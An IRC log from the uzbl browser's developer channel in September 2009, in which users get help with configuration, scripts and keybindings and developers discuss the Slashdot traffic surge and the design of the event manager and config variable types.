22:52 < Dieterbe> man o_O
22:52 < Dieterbe> how confusing
22:53 < xerebz> how do i make uzbl automatically go into insert if a textbox is focused
22:53 < Dieterbe> there's no way to do that yet
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22:54 < evaryont> Dieterbe: yes, everything is set up. yet I dunno if it works or not...
22:54 < evaryont> oh
22:55 < evaryont> probably because I'm using an older version of  the cookies stuff.
22:56 < Dieterbe> rob|: did you already try mason-l's event manager?
23:01 < Dieterbe> the plugin stuff looks cool
23:04 < N30N_> xerebz: you can do it via JavaScript
23:06 < Dieterbe> really? this is something that is asked for frequently, but it's not on the wiki
23:06 < Dieterbe> if you know how, please tell us
23:07 < N30N_> Dieterbe: I have a on click go insert mode (have posting on irc a few times before)
23:08 < Dieterbe> irc log? it should be on the wiki..
23:08 < N30N_> I can make a on focus if you want but it'll break browsing every no and then as lots of lites focus the first input for you
23:08 < evaryont> User agent switching anyone? http://gist.github.com/181515 fun fun fun :)
23:08 < N30N_> *site
23:08 < Dieterbe> lol evaryont 
23:09 < evaryont> Dieterbe: it's really entertaining to browse around as cURL.
23:09 < Dieterbe> i'm gonna try it. also the mobile ones (iphone, android) etc will probably be fun
23:09 < evaryont> Dieterbe: but mostly it's for sites that claim you aren't running a standards compliant browser >_>
23:14 < Dieterbe> it's a cool script
23:15 < evaryont> thx :D
23:15 < Dieterbe> simple but useful
23:16 < evaryont> Dieterbe: isn't that uzbl in 3 words? :P
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23:16 < Dieterbe> yeah :)
23:18 < evaryont> Dieterbe: is it a glitch with gist.github.com or uzbl that the text boxes to edit the files are 2-3 lines tall?
23:25 < Dieterbe> hmm the textarea has css property 'height:25em;', so FF does it a lot bigger.. dunno
23:26 < Dieterbe> and also the element inspector says it.. but yet it renders like that..
23:26 < Dieterbe> hey midori does it too.. i guess it's a webkit thing
23:27 < evaryont> joy.
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23:29 < evaryont> Dieterbe: is there some way to show feedback from scripts in uzbl? like a SCRIPT_MSG componet of the statusbar?
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23:32 < Dieterbe> you can set whichever variable you want and show it in the statusbar (see readme)
23:32 < Dieterbe> there are one or two useful builtin ones but you can have custom names too
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23:36 < evaryont> updated the script. Now you can switch immediately to another user agent :)
23:37 < evaryont> (and added nice categorial comments to user_agents.txt to make it pretty!)
23:38 < evaryont> I'm pretty sure line 17 can be reduced to a single line of perl, but I don't know enough perl. or any at all. :)
23:40 < Dieterbe> how do you mean "switch immediately" ? it can only be used for the next http request after you change it anynay?
23:41 < evaryont> well, true. but the modification just skips dmenu and changes uzbl's user agent to the one requested (as the eighth param)
23:41 < Dieterbe> if [ -z "$8"] <-- this syntax will break 
23:41 < evaryont> Dieterbe: oh?
23:42 < Dieterbe> you need a space between the " and ]
23:42 < evaryont> agh.
23:42 < Dieterbe> else bash things it's one 1 string ending on ]
23:42 < Dieterbe> same for line 18
23:42 < Dieterbe> oh now i see what you mean with immediate
23:43 < evaryont> you could even add a reload call to the end of the script and make it seem even more immediate :)
23:44 < Dieterbe> uhu
23:45 < N30N_> xerebz / Dieterbe: here ya go http://www.uzbl.org/wiki/insert-mode
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23:46 < Dieterbe> ah good job sir
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23:57 < evaryont> N30N_: very nice.
23:58 < xerebz> thanks
--- Day changed Sun Sep 06 2009
00:01 < xerebz> and you were saying a way to make middle mouse to open a url in the clipboard?
00:02 < jelly12gen> http://linux.slashdot.org/story/09/09/05/2142235/Meet-Uzbl-mdash-a-Web-Browser-With-the-Unix-Philosophy
00:02 < evaryont> xerebz: could modify the onclick insert-mode script, and add a check if the mouse button is a middle click.
00:02 < jelly12gen> congrats too all dev's
00:04 < evaryont> ps: slashdot commenters suck, Uzbl == awesome, they lie!
00:05 < jelly12gen> haha
00:06 < kanzure> uzbl made slashdot. neat.
00:07 < kanzure> woah those comments suck entirely
00:07 < evaryont> lol! Just reading more slashdot, and someone got Ubuntu to run on Kindle 2?!?
00:08 < xerebz> i'm having issues with gmail and uzbl.. every time i do an action it just says gmail is experiencing issues and the action doesn't commit
00:08 < evaryont> xerebz: while I haven't used gmail for quite a while now, it could be that gmail is just down, as I've seen plenty of reports of outages.
00:09 < xerebz> i thought that too switched to ff was fine
00:09 < evaryont> huh.
00:13 < Dieterbe> sweet. /. :)
00:14 < Dieterbe> not a very quality post there, but whatever
00:14 < evaryont> flood /. with HQ posts about uzbl? ^.^
00:14 < rob|> mass media :P
00:15 < rob|> Dieterbe: watch the usercounter on the site ;)
00:16 < jelly12gen> rob|: where is the counter ?
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00:17 < Dieterbe> meh there is no apache.log i can tail :P
00:17 < evaryont> Dieterbe: publish the log for all to abuse! :D
00:17 < xerebz> what's weird is if i delete my cookies.txt it works fine
00:17 < Dieterbe> holy crap
00:17 < Dieterbe> found the log
00:17 < evaryont> btw, it would kinda cute/funny to include a <div> that says 'thanks for using uzbl' if the user agent matches.
00:17 < jelly12gen> Dieterbe: und :P
00:18 < Dieterbe> we're getting a _lot_ of requests :P
00:18 < evaryont> xerebz: so set up a handler that deletes your cookies every time you access gmail! :D
00:18 < xerebz> x.x
00:18 < Dieterbe> i think my terminal cannot download the tail output fast enough
00:19 < Dieterbe> and uzbl.org is down now ^^ that's what they call the /. effect :P
00:19 < evaryont> NOOO
00:19 < evaryont> not uzbl.org :<
00:20  * evaryont is getting used to uzbl's def control scheme and is finding it hard to use vimp again...
00:20 < jelly12gen> popularity kills ?
00:20 < jelly12gen> Dieterbe: watch out you're getting famous
00:20 < jelly12gen> :D
00:20 < Dieterbe> load of the server is 54 now :P
00:21 < evaryont> :o
00:21 < gnuisancev4> just an FYI, i submitted uzbl to slashdot and it got accepted, i hope your website has some caching going on
00:21 < kanzure> too bad that's not overload due to git clone requests
00:21 < kanzure> how can you be overloaded serving plain text pages?
00:21 < kanzure> and if you have anything more than plain text, why
00:22 < sitwon> kanzure: favicons are nice
00:22 < kanzure> hah
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00:22 < kanzure> favicons are subject to crashing a server under the slashdot effect I suppose
00:23 < Dieterbe> indeed the site is plaintext. though it does generate html from markdown on each request
00:23 < kanzure> tsck tsck
00:23 < evaryont> Dieterbe: orly? fail :<
00:23 < Dieterbe> why is that fail? the simpler the better :)
00:23 < kanzure> that's not simple
00:23 < jelly12gen> So it's not a web browser, but rather a HTML rendering widget you can use to write a web browser, or use in other programs? I think .NET has one of those based on the I.E engine...
00:23 < jelly12gen> lolwut
00:24 < kanzure> yeah that makes no sense
00:24 < jelly12gen> haha yeah
00:24 < kanzure> why do people hate on unix?
00:24 < sitwon> Dieterbe: why "on each request" instead of only when the page changes?
00:24 < evaryont> jelly12gen: both uzbl and webkit falls under that definition.
00:24 < kanzure> I don't understand it
00:24 < kanzure> mostly unix people just leave you the fuck alone
00:24 < Dieterbe> sitwon: correct
00:24 < kanzure> webkit is the "widget"
00:24 < evaryont> Dieterbe: why not just plain html from the get-go
00:24 < kanzure> or generate the html when you need to
00:25 < kanzure> you think something has changed from the time you last edited?
00:25 < evaryont> kanzure: thanks to that gtk embedding socket stuff, uzbl can be the 'widget' as well :)
00:25 < kanzure> ah
00:25 < sitwon> a simple daemon to check the "modified" time and regenerate the pages...
00:25 < evaryont> which uzbl_tabbed.py takes advantage of.
00:26 < kanzure> hm where's my damn uzbl for web servers
00:26 < kanzure> django is a bit bloated
00:26 < evaryont> kanzure: lol
00:26 < evaryont> kanzure: jekyll for static stuffs.
00:26 < kanzure> okay
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00:26 < evaryont> Rack for ruby web servers (that you want dynamic)
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00:27 < kanzure> don't get me wrong, I'm all for dynamic content- I grew up on it
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00:27 < kanzure> but every "wise linux naysayer" that I have met has scolded me for it
00:27 < evaryont> oh no, I love the dynamic stuff
00:27 < kanzure> I can see the logic
00:27 < kanzure> dynamic stuff can suck immensely
00:27 < evaryont> but I'm trying to get a static site set up myself with jekyll
00:27 < kanzure> if it's dynamic, it should be for a reason
00:27 < kanzure> and if it is, why isn't it a shell script for your user
00:29 < jelly12gen> http://github.com/Dieterbe/uzbl/graphs/traffic
00:29 < jelly12gen> interesting
00:29 < kanzure> when I was 11 I was writing these dynamically generatedrole playing games for web browsers
00:30 < kanzure> but this wasn't a smart thing to do
00:30 < kanzure> really it was just a way for me to keep users out of my database
00:30 < kanzure> in reality, it should have been a local client or something
00:30 < kanzure> but I didn't know any better. so, anyway. dynamic v. static. the debate rages on.
00:31 < Dieterbe> Where do these Linux / Unix people come-up with the dump ass names?! 
00:31 < kanzure> dump ass names come from /dev/dump
00:32 < Dieterbe>  /. comments are fun
00:32 < kanzure> they are also sad
00:33 < Vithon> Dieterbe, you mean
00:33 < Vithon> /. comments are fun
00:34 < Dieterbe> yeah but i forgot how to escape / with irssi so i added a space in front. kthxbye
00:34 < Vithon> :P
00:35 < sitwon> wow, from the comments it looks like a lot of people are completely missing the point...
00:35 < Knirch> fwiw /say
00:35 < Knirch> oh, uzbl is on slashdot, should be fun
00:35 < Dieterbe> ./test
00:35 < Dieterbe> /test
00:36 < Dieterbe> i think there was a shorter way
00:36 < Vithon> There's also typing / twice.
00:36 < Vithon> /
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00:36 < Dieterbe> that doesn't work for me
00:36 < Dieterbe> gnuisancev4: sorry to say it, but your text sucks
00:36 < evaryont> Dieterbe: fail irssi! use weechat :D
00:37 < gnuisancev4> apologies, i typo'd
00:37 < gnuisancev4> twice
00:37 < gnuisancev4> badly
00:37 < Dieterbe> no no. not only the typo's
00:37 < Dieterbe> the whole thing
00:38 < evaryont> why is Sat 3AM one of the most common commit times? lol
00:38 < gnuisancev4> not like i can't edit it
00:39 < evaryont> Dieterbe: ps: be awesome / lazy and rename README to README.md (or .mkd, or whatever) so github renders it. HTML is prettier than text :P
00:39 < evaryont> well, HTML + CSS.
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00:42 < Dieterbe> evaryont: .md suffix sux imho
00:45 < evaryont> Dieterbe: fine, .markdown then :)
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00:53 < Knirch> god, the comments on /. were just depressing :/
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00:54 < jgblanco> hi
00:55 < jgblanco> why has the webinspector mac appearance? how is it coded?
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00:57 < evaryont> jgblanco: it's an internal part of webkit, not managed by uzbl. And Apple has a big part in WebKit's development, so their influence is seen in the internal dialogs that come with WebKit.
00:59 < jgblanco> evaryont: but... what language is it written in? or what libraries does it use?
00:59 < evaryont> C++, I think, or just C. The rendering is done by the dialog itself, it draws itself. not GTK or Qt.
01:00 < Dieterbe> okay guys. wrote a simple file based cache for the markdown to html.
01:00 < evaryont> jgblanco: if you want to modify it, look at the webkit code, not uzbl's.
01:00 < Dieterbe> unfortunately there is no APC on the server so i can't do in-memory caching
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01:00 < evaryont> Dieterbe: so what?
01:00 < jgblanco> thanks evaryont
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01:00 < evaryont> Dieterbe: we can survive the /. effect better now! \o/
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01:02 < evaryont> Dieterbe: I was talking out of my ass just then. :P I was right about the web inspector stuff, yes?
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01:03 < evaryont> hmm.
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01:03 < Dieterbe> yea
01:04 < evaryont> given multiple uzbl sockets/fifos, how do I know which is the right one? By 'right' I mean the latest focused uzbl window. (regardless if it is focussed at the time of script execution)
01:04 < rob|> ??
01:05 < evaryont> another way to say it: How do I get the path to the socket file to the last uzbl window focused?
01:05 < sitwon> evaryont: it's $4 and $5
01:06 < sitwon> evaryont: documented in the README
01:06 < Dieterbe> with wmctrl you can also get the window id of the focused window, which you can use to construct the filename of the fifo/socket
01:07 < Dieterbe> i guess it depends on what exactly you want to do
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01:19 < Dieterbe> well, good night guys
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02:05 < Knirch> aaaah, changed my uzbl from always adding 7 arguments to all scripts to enviroment variables instead <3
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03:50 < jonrafkind> i have webkit 1.0.1 installed but uzbl fails to compile to due missing webkit references. what version should I have?
03:52 < jonrafkind> nm, 1.1.4
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04:27 < xerebz> how do i make certain types of files download to certain folders
04:28 < xerebz> aka *.torrent to /torrent
04:32 < joyfulgirl> xerebz: Edit your download script; put in some conditionals
04:40 < xerebz> so i try download torrents from a private tracker but.. it downloads a .torrent&passkey=XXXX
04:40 < xerebz> how can i fix this??
04:54 < scj> downloading stuff from sites that require credentials is a bit more involved than just giving wget the url
04:55 < scj> try some of the dl scripts on the wiki
04:56 < scj> and you may want to check Content-Disposition in the header for the filename
05:01 < evaryont> Knirch: explain! That is an interesting modification, to say the least.
05:01 < evaryont> Knirch: it is also pretty awesome-sounding.
05:05 < evaryont> sitwon: I'd like something more along what Dieterbe said, using wmctrl, starting from outside of uzbl, instead of within. Except, I don't want to rely on uzbl being focused at the time the script is launched, rather, I'd like to use some tool to figure out which uzbl window was last focused (by the user), and what socket connects to that uzbl window.
05:07 < sitwon> evaryont: open a Uzbl window. see the number between the <...>? that appears to correlate to the socket and fifo names
05:08 < sitwon> you'd need to write a daemon to determine the last Uzbl window to have focus
05:08 < sitwon> evaryont: just so I have some context, what exactly you want to do with this "last window to have focus"?
05:09 < sitwon> are you trying to do some thing like "open link in last window"?
05:10 < evaryont> actually, exactly that :P
05:11 < evaryont> but knowing my window history, in general, not just relating to uzbl, would be great as well, so then I can automate, somewhat, time management :P
05:11 < evaryont> so I can see I spend 50% of my time in uzbl, another 25% in vim, yada yada yada.
05:13 < sitwon> evaryont: I just had an idea. Load up some JavaScript that will overwrite /tmp/last_uzbl with the socket each time the window gains focus, then you'll know the last window to have focus
05:14 < evaryont> sitwon: that seems like a good idea, except I only know JS as it applies to DOM modification, how would I write to a file? or get the socket info? And finally, how would I have it run? in load_finish_handler ?
05:15 < sitwon> evaryont: read in the README about the Uzbl object, and yes, add it to load_finish_handler
05:15 < evaryont> k
05:15 < scj> I'd just name the uzbl instance, with uzbl -n FOO, write a launcher script that checks for $fifodir/uzbl_fifo_FOO. if not, spawn uzbl -n FOO, otherwise write 'set uri $url'
05:16 < sitwon> scj, I think we're assuming he has multiple uzbl windows open and want to open in the last one to have focus. your technique would always open in the same window even if he spawned other windows
05:17 < scj> i realize that, but opening a new instance isn't that big of a deal
05:19 < sitwon> personally I'd just open a new window rather than trying to discover and attach to the last window
05:20 < scj> that is my sort of my point
05:39 < mason-l> Morning guys.
05:40 < sitwon> morning?
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05:51 < evaryont> scj: even if it's more compilicated, it does follow natural thought much closer than creating a 'master' window.
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05:56 < scj> evaryont: who am I to argue natural thought?
05:57 < scj> I just think it seems like a firefox-ism
05:57 < evaryont> eh, I like some FF-isms. :P
05:57 < evaryont> the biggest part of this exercise isn't to emulate FF in uzbl, but to load the url in the window at the 'top of the stack'
05:58 < davidL> it seems there is some spam on the bug tracker
05:58 < evaryont> since if I have multiple windows, I may have the 'master' window below the currently focused window.
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06:03 < sitwon> evaryont: it makes sense, but to me it makes more sense to either push a new window to the top of the stack or do some action to the *currently* focused window (not the last focused)
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06:04 < sitwon> it seems messy somehow to say "last window with focus"
06:05 < evaryont> well, I'm looking at windows beyond just uzbls.
06:05 < evaryont> that is, the currently focused window may be a urxvt, or a Qt app of some sort or whatever.
06:06 < evaryont> and in those apps, I can't tell what uzbl was the last one used/focused by the user.
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06:47 < selig5> What should I name the config file that goes in the home directory so uzbl can find it?
07:06 < xerebz> so i want to have the default recv message on commit, but i also want the middle_mouse.js script to go off, how do i do both?
07:09 < sitwon> selig5: ~/.config/uzbl/config
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07:18 < selig5> thanks sitwon
07:19 < fusioncow> hi all
07:19  * fusioncow is running uzbl/ubuntu
07:19 < fusioncow> any way to keep the uzbl window from resizing off the screen?  I didn't see any options via the readme...
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07:21 < xerebz> aka.. how do i have multiple statements in a set load_X_handler
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07:51 < mason-l> Reddit picked up on the /. story and submitted that tuxtraining.com tutorial to /r/linux
07:51 < mason-l> http://www.reddit.com/r/linux/comments/9hm1t/how_to_use_uzbl_and_uzbl_tabbedpy_a_browser_that/
08:17 < mason-l> rob|, When you get back online can I talk you into changing the way uzbl starts up in the event-messages branch.
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08:26 < zowki> How can I get flash player to work with uzbl?
08:30 < mason-l> zowki, Theres nothing special you have to do, webkit loads and uses flash in the same way that firefox does. I would make sure you havent accidentally disabled plugins though.
08:31 < mason-l> set disabled_plugins = 0
08:33 < zowki> ok thanks for the info i'll try it out
08:33 < mason-l> oh sorry, I meant: set disable_plugins = 0
08:34 < mason-l> zowki, it might help to know what OS you are using?
08:34 < mason-l> (if it doesnt work)
08:34 < zowki> im using arch linux
08:34 < zowki> im getting flashplayer via "pacman -S flashplugin"
08:35 < mason-l> zowki, and flash works in Firefox?
08:35 < zowki> yes
08:36 < zowki> all right it works now thx
08:36 < mason-l> Nice.
08:36 < zowki> one more question, can i get tabs to work in uzbl?
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08:46 < wilbur-d> look for the uzbl_tabbed.py script
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08:50 < zowki> found the script you suggested
08:50 < zowki> thanks
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10:05 < xerebz> does anyone know how to make the middle mouse link script on the wiki open up a new window but not focus on it
10:05 < xerebz> so keep focus on the current window
10:08 < rob|> considering you're not talking about uzbl_tabbed that's a job of the WM
10:09 < mason-l> Hey rob|
10:11 < rob|> hey mason. just read the backlog, can you elaborate on the startup thing?
10:11 < mason-l> Could I get you to modify the behavior of uzbl in the event-messages branch to (1) not print the config variables as its loading the config (2) then dump the entire config using the VARAIBLE_SET event. Thats so that the uzbl.config dict accurately reflects every item in the hash table (not just the ones that are mentioned in the config.
10:11 < mason-l> I'm just talking about a special startup case here.
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10:14 < rob|> for (1) yeah we could do that, for (2) don't you think it would be better to expand the dump_config commands so it's able to also generate VARIABLE_SET events?
10:14 < Hideo> hello there, whenever I try the hint script, I get this kind of error, someone please help me:  "File '~/uzbl/examples/data/uzbl/scripts/hint.js' not be read."
10:14 < Hideo> that is the right path btw ^
10:14 < Hideo> my bind for it is:  "bind    f = script ~/uzbl/examples/data/uzbl/scripts/hint.js"
10:15 < rob|> Hideo: change '~' to either $HOME or the full path
10:15 < mason-l> rob|, Oh yeah I forgot we had half the work done already with the dump_config function. The you'd just rig it to dump config after the config file has been loaded.
10:15 < mason-l> Then VARIABLE_SET as per normal after that.
10:16 < rob|> mason-l: right, so you could just add 'dump_config' as the last/first command in the config file which would almost give you the desired effect
10:16 < Hideo> rob|: thank you very much =D
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10:17 < mason-l> rob|, "last/first command in the config file" how do you mean?
10:18 < mason-l> There are no config_load_finished events that could run that.
10:18 < rob|> well, add dump_config as the last line/entry to the config file
10:18 < mason-l> Wait, you can do that?
10:18 < rob|> sure
10:18 < mason-l> I did not know that.
10:18 < rob|> it will simply print all vars in the format 'set a = b# to stdout
10:19 < rob|> well, all vars marked as being dumpable, that is
10:21 < mason-l> I'm still going to try the changes in uzbl-core.c
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10:24 < mason-l> rob|, In which struct should I add the configloaded boolean?
10:25 < Dieterbe> good morning
10:25 < Dieterbe> hey mason-l 
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10:25 < mason-l> Afternoon Dieterbe.
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10:27 < Hideo> nice browser, thanks alot and good nite =)
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10:28 < rob|> mason-l: hmm, State?
10:29 < mason-l> Ok.
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10:47 < Dieterbe> reading backlog.. mason-l i would like to work on the event manager.py with you today
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10:48 < rob|> hmm, i'm dreaming of an event manager that supports some form of RPC (standard sun rpc or even xml-rpc)
10:48 < rob|> that would get us easily connected to a bigger world of possible extensions
10:49 < rob|> without the need for uzbl to actually support rpc itself
10:49 < rob|> anyways, this should be done at a later point in time
10:51 < Dieterbe>  rob|> for (1) yeah we could do that, for (2) don't you think it would be better to expand the dump_config commands so it's able to also generate VARIABLE_SET events? --> s/VARIABLE_SET/VARIABLE_IS/
10:53 < Dieterbe> hmm wait a minute. dump_config was originally created so you could do dump_config and output > config_file 
10:53 < Dieterbe> maybe we need 2 dump_configs. the current one, and a new one that outputs the event messages
10:54 < Dieterbe> OTOH , monitoring variable_set should be really the only thing you need mason-l . any variable that has a certain state should be brought into that state by setting the variable. (the only exception is commandline arguments, which are until now set directly, bypassing set_var_value)
10:59 < mason-l> Dieterbe, Though I don't have an exact reason for needing it right now I prefer to have the default options (that would otherwise be unseen unless overwritten) exposed in the uzbl.config dict.
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11:00 < mason-l> By chucking _a_ dump_config command at the end of the config loading function (which I think is settings_init()) ?
11:01 < Dieterbe> huh? default options are just a list of commands, just like the config, in config.h
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11:05 < xerebz> so i'm trying the keywordBm.py from the wiki
11:05 < xerebz> and it's not doing anything <.<
11:06 < xerebz> its breaking my o _, t _, etc
11:07 < mason-l> Dieterbe, And by the looks of it in the set_var_value the VARIABLE_SET event is only raised if the value is a string.
11:08 < mason-l> In the set_var_value function that is.
11:11 < Dieterbe> mason-l: yeah sure, we need to improve that
11:12 < mason-l> Also how does the type detection work? If a variable is an int and it receives the value "432" is it automatically converted to an int?
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11:12 < rob|> mason-l: yes
11:12 < mason-l> Does this count for now commands also?
11:12 < mason-l> Will it detect the value is an int or float then string?
11:12 < mason-l> s/now/new/
11:12 < rob|> mason-l: we set the type in the big variable table
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11:13 < mason-l> So all custom commands are string type only?
11:13 < rob|> mason-l: custom vars are always strings but will be converted accordingly if assigned to internal vars
11:13 < mason-l> Ok.
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11:15 < Dieterbe> mason-l: i find this very confusing:
11:15 < Dieterbe>         # Fifo socket and socket file locations.
11:15 < Dieterbe>         self.fifo_socket = None
11:15 < Dieterbe>         self.socket_file = None
11:15 < Dieterbe>         # Outgoing socket
11:15 < Dieterbe>         self._socketout = []
11:15 < Dieterbe>         self._socket = None
11:15 < Dieterbe>         # Outgoing fifo
11:15 < Dieterbe>         self._fifoout = []
11:16 < Dieterbe> what's a "fifo_socket" ?
11:16 < Dieterbe> and why so many vars? can you explain their usage? (maybe add comments in the source code?)
11:16 < mason-l> Dieterbe, Nothing to be confused about. self.fifo_socket is the location of the fifo socket.
11:16 < mason-l> self.socket_file is the location of the uzbl socket.
11:16 < Dieterbe> what is a fifo socket? do you mean a fifo? fifo and socket are different things
11:16 < mason-l> as in /tmp/uzbl_fifo_2343453 and /tmp/uzbl_socket_234234
11:17 < mason-l> eeek!
11:17 < mason-l> Well then its probably a bad choice of names.
11:17 < mason-l> I need to fix them up.
11:17 < mason-l> Nobody picked that up in uzbl_tabbed.py
11:17 < Dieterbe> actually i noticed it there too, but didn't bother to tell you :)
11:19 < Dieterbe> also call socket_file "uzbl_socket" or something. and in the comments don't put 'fifo and socket file locations' because that's obvious. comments like that don't add anything useful. instead say 'fifo and socket the uzbl instance is listening on' or something
11:19 < Dieterbe> just trying to offer some positive criticism btw
11:20 < mason-l> Dieterbe, And thanks for it, I'll never be able to better myself if everyone keeps their trap shut.
11:22 < Dieterbe> and if self.socket_file is the socket belonging to uzbl, what is self._socketout and self._socket ? also "outgoing socket" doesn't give any useful information here
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11:23 < mason-l> both self._socketout and self._fifoout holds a list of outgoing messages in the queue to be sent to the uzbl instance but haven't been sent because uzbl has taken a while to create the fifo & socket.
11:24 < mason-l> s/in the queue/in a queue/
11:25 < ngz> Hello. I'm trying to bind ctrl+s to search command with no success. I also tried the ctrl+w thing from the wiki but it's also not working. How can I set that binding then ?
11:25 < rob|> btw, there is a XStringToKeysym() function that converts the symbolic name to a keysym, might be useful
11:26 < rob|> and we don't need to supply the keysym in the event message
11:26 < Dieterbe> mason-l: well, maybe you could use the word 'queue' in the variablename then instead of 'out'. because output always goes.. well.. 'out'. the word 'out' doesn't give any usefull information. 'queue' would
11:26 < mason-l> Noted..
11:26 < mason-l> s/.././
11:27 < Dieterbe> mason-l: i would really like to merge your tree into mine because i like your plugin system. but right now our handlers are kinda disjoint. so i would like to work on merging them, and then on coordinated efforts from us both
11:28 < mason-l> Another question: Is any error raised if you try to set a int variable with a string?
11:28 < mason-l> or float?
11:28 < Dieterbe> mason-l: and why does your echo function write to stderr instead of stdout?
11:29 < mason-l> Dieterbe, Good point.
11:29 < Dieterbe> rob|: what's the difference between symbolic name and keysym?
11:29 < mason-l> I need to know what kind of type checking needs to be done in the uzbl.config dict
11:31 < Dieterbe> mason-l: XDG_CONFIG_HOME=$HOME uzbl --verbose <<< 'set http_debug somestring'
11:31 < Dieterbe> that doesn't give me any error
11:33 < rob|> Dieterbe: well, the one is a string describing a numeric value (the keysym)
11:33 < rob|> Xlib functions work with keysyms, though
11:33 < mason-l> Dieterbe, It doesn't error but the variable isn't converted into a string.
11:34 < mason-l> I just tried:
11:34 < mason-l> set enable_spellcheck = 1
11:34 < mason-l> print @enable_spellcheck
11:34 < mason-l> set enable_spellcheck = dfsfs
11:34 < mason-l> print @enable_spellcheck
11:34 < mason-l> and I get:
11:34 < mason-l> 0
11:34 < mason-l> 1
11:35 < mason-l> I mean 1 then 0
11:35 < mason-l> So type does matter.
11:35 < rob|> yeah, the string is being converted to an int
11:35 < mason-l> I'm going to add the type of the variable to the VARIABLE_SET command.
11:36 < mason-l> So its going to be EVENT VARIABLE_SET [3453434] key {int|float|string} value
11:36 < mason-l> So that the event managers can error up when setting a variable to the wrong type.
11:37 < rob|> hmm, not sure why that would be needed
11:37 < mason-l> You're not sure why type checking is needed?
11:38 < rob|> no, i'm not sure why you'd need it in the event manager
11:38 < rob|> i mean uzbl does already convert to the type it expects
11:38 < rob|> if you supply a bogus input it will be converted to the correct type nayways
11:39 < mason-l> Yes but the information is lost.
11:40 < mason-l> And it makes type conversion in the event_manager easier: if type == "int" -> int(value), if type == "float" -> float(value),
11:40 < rob|> well, unfortunatelly i have to go now. will look into all this later
11:40 < rob|> keep hacking :)
11:40 < rob|> bye..
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11:49 < ngz> Actually, I'm trying to mimic emacs behavior regarding search. Ctrl+s string to search string and Ctrl+s to repeat search. Is it doable yet in uzbl ? For now, all I see are vi-like keybindings in the configurations.
11:50 < mason-l> Dieterbe, Is it just me or are you guys missing a g_free(buf); in the custom var setting section in set_var_value.
11:52 < mason-l> Wait my mistake.
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12:00 < Dieterbe> 11:38:41 < rob|> if you supply a bogus input it will be converted to the correct type nayways
12:00 < Dieterbe> 11:39:04 < mason-l> Yes but the information is lost.
12:00 < Dieterbe> if a user writes a script that assigns a string to an int, well then it's the users fault.  we shouldn't hand-hold him
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12:00 < Dieterbe> he will notice soon enough if/when things don't work the way he expected
12:01 < Dieterbe> mason-l: ^^
12:01 < Dieterbe> i think you're trying to put too much automagic in there
12:01 < Dieterbe> remember it's the _user_ that maintains these scripts and configs
12:02 < mason-l> Personally I don't think its over the top to mention the type in the output, if the user or event manager want to ignore it then it is their problem.
12:03 < Dieterbe> besides mason-l , i'm wondering why we even need to keep a full copy of the entire uzbl config.  how many of those do we really need? maybe it would be better to just ask for the vars when we need them over the socket
12:04 < Dieterbe> mason-l> Personally I don't think its over the top to mention the type in the output, if the user or event manager want to ignore it then it is their problem. <-- yes that sounds good. but i don't see why our event manager would need to do anything with it
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12:22 < Dieterbe> bct: was it you or bob_f or holizz who was working on writing a uzbl clone in python?
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12:57 < mason-l> Dieterbe, holizz
12:57 < mason-l> Called pyweb
13:00 < ngz> I'm struggling with the bindings. How can I make Return open a link just beside my search string in the page ?
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14:27 < mason-l> Dieterbe, Did we come to a decision on whether or not to keep the COOKIE event?
14:27 < mason-l> Because I'm going to delete it if we aren't.
14:28 < mason-l> I believe its useless sending it via an event.
14:28 < mason-l> I believe rob| mentioned (when I brought it up yesterday) that it was just to show what was possible and not intended to be functional.
14:29 < mason-l> Yesterday or the day before; I don't recall.
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14:49 < mason-l> Dieterbe, Have a look over my latest commit and see if I've screwed anything up in uzbl-core.c or not.
14:49 < mason-l> http://github.com/mason-larobina/uzbl/commit/53ad9e51bbb04c3de86046663a81a43e2aba95cd
14:50 < mason-l> I've removed the COOKIE handler and added SOCKET_SET.
14:50 < mason-l> And added minimal type checking in uzbl.config
14:50 < mason-l> But now things are correctly converted into an {int|float|string} on loading into uzbl.config
14:51 < mason-l> Now I'm going to fix up those variable names you mentioned earlier
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15:20 < mason-l> Dieterbe, Get back to me because I want to start helping integrate both our event handlers.
15:21 < Dieterbe> allright
15:21 < Dieterbe> sorry was away fur foodz
15:21 < mason-l> I love food.
15:22 < mason-l> Oh and I think I've fixed up those variable names.
15:22 < Dieterbe> mason-l: yes cookie events can be dropped afaik
15:23 < Dieterbe> mason-l: but the cookie_handler should stay like it was (the handler inside uzbl that is. no handler needed in the event manager)
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15:24 < mason-l> Dieterbe, Yep, though I am in favour of an event like LAUNCH_COOKIE_HANDLER or something to that effect and the daemon be launched from inside the event manager as required.
15:24 < mason-l> or COOKIE_HANDLER_FAIL
15:26 < Dieterbe> i disagree. cookies is synchronized with uzbl.  you cannot send some event, expect the event manager to do something for you, and just sleep & poll until it's done
15:26 < Dieterbe> if there is any "if cookie_daemon socket doesn't exist/respond, do $foo" logic, it should be inside uzbl itself
15:26 < mason-l> Ok.
15:27 < mason-l> Easily solved by a simple: cookie_handler = $XDG_DATA_HOME/uzbl/scripts/cookie_daemon.py -args here
15:27 < Dieterbe> no
15:28 < Dieterbe> because that would spawn a new process every time you do an http request. which was the reason we shifted to the socket approach in the first place
15:28 < mason-l> no no no.
15:28 < mason-l> Only launch the handler if the daemon isnt running.
15:29 < mason-l> Maybe I named that incorrectly: cookie_daemon_luncher = $XDG_DATA_HOME/uzbl/scripts/cookie_daemon.py -args here
15:29 < Dieterbe> ah yes okay
15:29 < Dieterbe> yes that sounds good
15:29 < Dieterbe> if you have time to implement it, feel free. otherwise I could do it
15:29 < Dieterbe> looking at your commit now first
15:32 < Dieterbe> mason-l: can you explain me 1) why do we need to keep a full copy of the entire uzbl config in memory (this is not very memory efficient, we store the config twice), and 2) why we care so much about the type?
15:32 < Dieterbe> i would just ask uzbl for a certain variable over the socket if/when we need it
15:35 < mason-l> Because getting a variable over the socket is a (1) blocking and (2) screws up the chronological nature of the event parsing. Its a lot easier to track variables with a meta config stored "locally" than probe each time you need to access a variable in uzbl. So (3) super speed.
15:36 < mason-l> And speed _is_ an issue!
15:36 < Dieterbe> so which variables do you need so much that pulling them over the socket would cause a slowdown?
15:38 < rob|> re
15:39 < Dieterbe> hey rob| 
15:40 < mason-l> While I may only need a few variables at the moment its no fair to say that someone won't ever have 10-20 plugins in their plugin dir. And if each plugin grabs a single uzbl variable using a get function you could easily be looking at seconds to handle a handful of events.
15:41 < Dieterbe> ok lets do it like this then for now. we'll see.. but why the fuss about the types?
15:42 < Dieterbe> why not keep everything as a string, and if, in a plugin, you know that a certain variable has to be int, you cast int to an int and if it fails you give an error
15:42 < Dieterbe> s/cast int/cast it/
